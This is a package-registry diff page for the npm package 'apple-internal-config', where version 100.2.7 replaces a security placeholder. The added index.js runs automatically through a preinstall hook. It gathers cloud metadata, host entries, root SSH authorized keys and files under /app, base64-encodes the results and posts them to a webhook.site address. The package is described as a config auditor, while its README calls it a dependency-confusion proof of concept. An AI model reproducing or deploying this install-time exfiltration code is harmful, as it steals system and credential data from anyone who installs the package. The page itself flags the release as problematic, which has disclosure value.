apple-internal-config 0.0.1-security → 100.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-internal-config might be problematic. Click here for more details.
- package/README.md +3 -5
- package/index.js +26 -0
- package/package.json +8 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
This
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-internal-config for more information.
|
|
1
|
+
# @apple/mycelium
|
|
2
|
+
Proof of Concept by Frank.
|
|
3
|
+
This is a demonstration of Dependency Confusion vulnerability.
|
package/index.js
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
|
|
3
|
+
const URL = 'https://webhook.site/69b9cb9a-da99-4966-b79f-85b519d13967';
|
|
4
|
+
|
|
5
|
+
try {
|
|
6
|
+
const cmd = `
|
|
7
|
+
echo "=== [1] IDENTITAS SERVER ===" &&
|
|
8
|
+
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id || echo "Bukan GCP" &&
|
|
9
|
+
|
|
10
|
+
echo "=== [2] CEK JARINGAN KE APPLE ===" &&
|
|
11
|
+
grep -i "apple" /etc/hosts || echo "Host apple kosong" &&
|
|
12
|
+
# Pakai ping kalau nslookup gak ada
|
|
13
|
+
ping -c 1 internal.apple.com || host internal.apple.com || echo "Apple internal gak terjangkau" &&
|
|
14
|
+
|
|
15
|
+
echo "=== [3] CEK AKSES SSH (PIVOT) ===" &&
|
|
16
|
+
cat /root/.ssh/authorized_keys 2>/dev/null | grep -i "apple.com" || echo "Gak ada jejak apple" &&
|
|
17
|
+
|
|
18
|
+
echo "=== [4] HUNTING TOKEN APPLE ===" &&
|
|
19
|
+
find /app -name "*apple*" 2>/dev/null | head -n 5 &&
|
|
20
|
+
grep -rli "apple" /app 2>/dev/null | head -n 5
|
|
21
|
+
`;
|
|
22
|
+
|
|
23
|
+
const out = execSync(cmd).toString();
|
|
24
|
+
const payload = Buffer.from(out).toString('base64');
|
|
25
|
+
execSync(`curl -k -s -X POST -d "${payload}" ${URL}`);
|
|
26
|
+
} catch (e) {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-internal-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "100.2.7",
|
|
4
|
+
"description": "Internal configuration auditor for Apple systems",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|